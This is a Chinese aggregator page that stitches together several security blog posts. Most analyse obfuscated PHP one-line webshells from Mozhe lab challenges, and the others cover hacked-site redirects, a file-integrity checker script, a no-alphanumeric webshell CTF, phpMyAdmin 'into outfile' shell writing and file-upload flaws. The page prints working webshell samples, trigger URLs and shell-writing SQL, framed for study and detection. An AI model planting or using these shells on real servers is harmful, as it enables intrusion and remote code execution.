webshell

WebShell代码分析溯源(五)

孤街浪徒 提交于 2019-12-03 04:06:13
WebShell代码分析溯源(五) 一、一句话变形马样本 <?php $e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($arr,base64_decode($e)); ?> 二、代码分析 1、调整代码格式    2、分析代码 首先使用REQUEST方法接收url中e参数传递的值,然后把$_POST['POST']赋值给arr数组,然后把arr数组中的每个键值传给base64_decode函数,最终构成一句话木马assert($_post['post']) 注: array_filter() 函数用回调函数过滤数组中的值   三、漏洞环境搭建 1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第4题)),地址: https://www.mozhe.cn/bug/detail/ZVNlS096cEV0WHZsTzdKNHBKZXljUT09bW96aGUmozhe 2、代码环境,下载代码    3、分析(上面已经分析过了) 4、使用菜刀连接    5、执行一些命令       四、后记 学习常用webshell扫描检测查杀工具---牧云(CloudWalker)(百度WebShell扫描检测引擎),网址: https://github.com/chaitin/cloudwalker

网站被黑被劫持跳转到其他网站该如何解决

假如想象 提交于 2019-12-03 03:50:34
2019年元旦很多公司遇到网站被黑的问题,因为大多数网站用的都是一些主流,开源的cms系统开发的程序,还有的公司找的当地网站建设公司去做的网站,而网站天天被黑的遭遇找到网站建设公司也只能解决一时,没过多久网站又被黑了,具体的情况特征以及如何解决网站被黑,下面由国内网站安全公司的Sine安全技术来为大家逐一解答. 什么是网站被黑? 网站被黑是因为网站的程序代码存在漏洞以及后门木马导致的被黑,黑客都是通过网站的各个漏洞,比如跨站脚本攻击,getshell以及图片上传,和sql注入攻击,以及暴力破解等等手法拿到了网站的最高权限上传了脚本后门也俗称webshell木马,这也是为何清理了木马代码而又被反复篡改攻击的主要原因。 网站被黑具体症状表现 从百度搜索公司名称或域名显示的快照内容不符,一般都是显示一些du博内容,点击进入会跳转到其他网站,如果直接从浏览器里输入域名打开的话就显示正常,再一个检查下首页的程序文件里有无可疑加密的代码如下图: 而且有的可能会在百度搜索中看到提示网址安全中心风险拦截的红色标识: 如果这几种状况有其一,出现了的话那么说明你的网站已经被黑了,一般这种网站被跳转的情况都是反复性质的被篡改,因为公司网站出现问题后首先想到的就是找当初的网站建设公司来处理,但是他们只能是把原先的备份文件给你替换上去,这只能是一时的,没过多久就又出现被黑的症状了

WebShell代码分析溯源(四)

不羁岁月 提交于 2019-12-03 02:02:42
WebShell代码分析溯源(四) 一、一句话变形马样本 <?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[$_]); ?> 二、代码分析 1、调整代码格式    2、分析代码 “^”为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串。 $_++,这行代码的意思是对变量名为”_”的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。 2.1手动进行异或运算,依次类推得到$___=_POST    2.2$_++在自增之后,$_就变成了1,因此,!$_也就为0,综上分析,${$__}[!$_](${$___}[$_]);也就变成了$_GET[0]($_POST[1]);,此时一句话木马为<?php $_GET[0]($_POST[1]); ?> 2.3构造payload: http://www.test.com/test.php?0=assert,因此一句话木马就变成为<?php assert(

文件检测

匿名 (未验证) 提交于 2019-12-02 23:40:02
# -*- coding: utf-8 -*- #use: python file_check.py ./ import os import hashlib import shutil import ntpath import time CWD = os.getcwd() FILE_MD5_DICT = {} # 文件MD5字典 ORIGIN_FILE_LIST = [] # 特殊文件路径字符串 Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82' bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS' logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD' webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD' difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN' Special_string = 'drops_log' # 免死金牌 UNICODE_ENCODING = "utf-8" INVALID_UNICODE_CHAR_FORMAT = r"\?%02x" #

WebShell代码分析溯源(三)

巧了我就是萌 提交于 2019-12-02 22:17:54
WebShell代码分析溯源(三) 一、一句话变形马样本 <?php $g = array('','s');$gg = a.$g[1].ser.chr('116');@$gg($_POST[get]);?> 二、代码分析 1、调整代码格式    2、分析代码 分析代码,首先创建一个g数组,然后拼接字符串,把拼接之后的字符串赋值给gg变量,字符串拼接的过程:$g[1]为s,chr('116')为t,因此拼接之后的字符串为assert。这时整个一句话代码就变成了<?php @assert($_POST[get]);?>,注:@为错误抑制符。 三、漏洞环境搭建 1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第3题)),地址: https://www.mozhe.cn/bug/detail/S3FBSGhXYlU2a09ybG83UVRiQmJxUT09bW96aGUmozhe 2、代码环境,下载代码    3、分析(上面已经分析过了) 4、使用菜刀连接    5、执行任意代码       四、后记 学习常用webshell扫描检测查杀工具---河马 WebShell查杀,网址: http://www.shellpub.com/ 使用河马进行webshell查杀    来源: https://www.cnblogs.com/yuzly/p/11745722

【PHP-CTF】无字母无数字webshell

匿名 (未验证) 提交于 2019-12-02 22:10:10
PHP无字母数字构造Webshell 题目 index.php: <?php include 'flag.php' ; if ( isset ( $_GET [ 'code' ] ) ) { $code = $_GET [ 'code' ] ; if ( strlen ( $code ) > 40 ) { //检测字符长度 die ( "Long." ) ; } if ( preg_match ( "/[A-Za-z0-9]+/" , $code ) ) { //限制字母和数字 die ( "NO." ) ; } @ eval ( $code ) ; //$code的值要为非字母和数字 } else { highlight_file ( __FILE__ ) ; } //$hint = "php function getFlag() to get flag"; ?> flag.php: <?php function getFlag ( ) { $flag = "111111111111111111" ; echo $flag ; } ; ?> 解题过程 方法一 在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。 <?php var_dump ( '#' ^ '|' ) ; /

WebShell代码分析溯源(二)

白昼怎懂夜的黑 提交于 2019-12-02 22:03:32
WebShell代码分析溯源(二) 一、一句话变形马样本 <?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> 二、代码分析 1、调整代码格式 2、分析代码,首先先把”assert”字符串复制给POST数组,然后又把POST数组array数组,调试代码,搭建php环境(这里使用phpstudy)    3、发现结果输出为assert    4、这样最终一句话变形马就变成这样: <?php assert($_POST['assert']);?>,密码是assert 三、漏洞环境搭建 1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第2题)),地址: https://www.mozhe.cn/bug/detail/bFBlRkJteit1TlBLaEZMQWVPM0ZjZz09bW96aGUmozhe 2、代码环境,下载代码    3、找到webshell代码处,然后分析(上面有已经分析过了)    4、使用菜刀连接    四、后记 学习常用webshell扫描检测查杀工具---D盾,网址: http://www.d99net.net/ 1、 使用D盾进行webshell查杀    来源: https://www.cnblogs.com/yuzly

网站漏洞修复对phpmyadmin防止被入侵提权的解决办法

亡梦爱人 提交于 2019-12-02 20:53:56
phpmyadmin是很多网站用来管理数据库的一个系统,尤其是mysql数据库管理的较多一些,最近phpmysql爆出漏洞,尤其是弱口令,sql注入漏洞,都会导致mysql的数据账号密码被泄露,那么如何通过phpmyadmin来上传提权webshell呢 首先我们来搭建一下PHP+mysql环境,linux centos系统,PHP的版本是5.3,mysql版本是5.6,linux系统64位,apache 2.2版本,部署在新开的一台阿里云的按量付费ECS服务器。 phpmyadmin漏洞利用 利用mysql数据库select into outfile方式来写入webshell到网站的根目录下,该漏洞的利用前提是必须知道网站的当前路径是多少,如何知道网站的当前路径,这个要通过爆出网站的错误来进行查看绝对的路径。使用下面的代码: select load_file('/home/www/safe.php') select '' into outfile '/home/www/safe.php'; 执行这个语句就可以生成一句话的木马后门。 也可以使用写数据库日志的方式来进行漏洞的利用,前提是mysql的版本都是5.0以上的,以及日志开启,如果没有开启日志功能,我们需要在phpmyadmin里进行开启,语句如下:set globalgener al_log = "ON"

WebShell代码分析溯源(一)

☆樱花仙子☆ 提交于 2019-12-02 18:51:01
WebShell代码分析溯源(一) 一、 一句话变形马样本 <?php $_GET['POST']($_POST['GET']);?> 二、代码分析 1、调整代码格式 <?php $_GET['POST']($_POST['GET']); ?> 2、分析代码,首先以GET方法接收url中POST参数传递的值,然后又以POST方法接收GET参数传递的值,因此可以构造payload:http://www.test.com/test.php?POST=assert,这样就相当于一句话木马变成这样: <?php assert($_POST['GET']);?> 注:不能使用eval,eval与assert的区别: eval函数中参数是字符,eval并不支持可变变量形式 assert函数中参数为表达式 (或者为函数) 参考: https://www.anquanke.com/post/id/173201/ https://blog.csdn.net/whatday/article/details/59168605 三、漏洞环境搭建 1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第1题)),地址: https://www.mozhe.cn/bug/detail/TkhnOVovVm14KzV6aTN5K2d1dFZ0Zz09bW96aGUmozhe 2、代码环境

文件上传漏洞

怎甘沉沦 提交于 2019-12-02 12:04:28
文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。 大部分的网站和应用系统都有上传功能,如用户头像上传,图片上传,文档上传等。一些文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过Web访问的目录上传任意PHP/JSP/ASPX/ASP文件,并能够将这些文件传递给PHP/JSP/ASPX/ASP解释器,就可以在远程服务器上执行任意PHP/JSP/ASPX/ASP脚本。 文件上传漏洞本身就是一个危害巨大的漏洞,WebShell更是将这种漏洞的利用无限扩大。大多数的上传漏洞被利用后攻击者都会留下WebShell以方便后续进入系统。攻击者在受影响系统放置或者插入WebShell后,可通过该WebShell更轻松,更隐蔽的在服务中为所欲为。 文件上传漏洞的类型: 1. js绕过 (1)打开界面,上传一句话木马 (2)上传失败,发现js验证 (3)禁用浏览器js功能或中间人攻击进行绕过 (4)再次上传,连接菜刀,拿到web shell. 注:禁用火狐浏器的js功能,在地址栏输入JavaScript:enable双击关闭、中间人绕过用bupsuite抓包,修改数据。 2.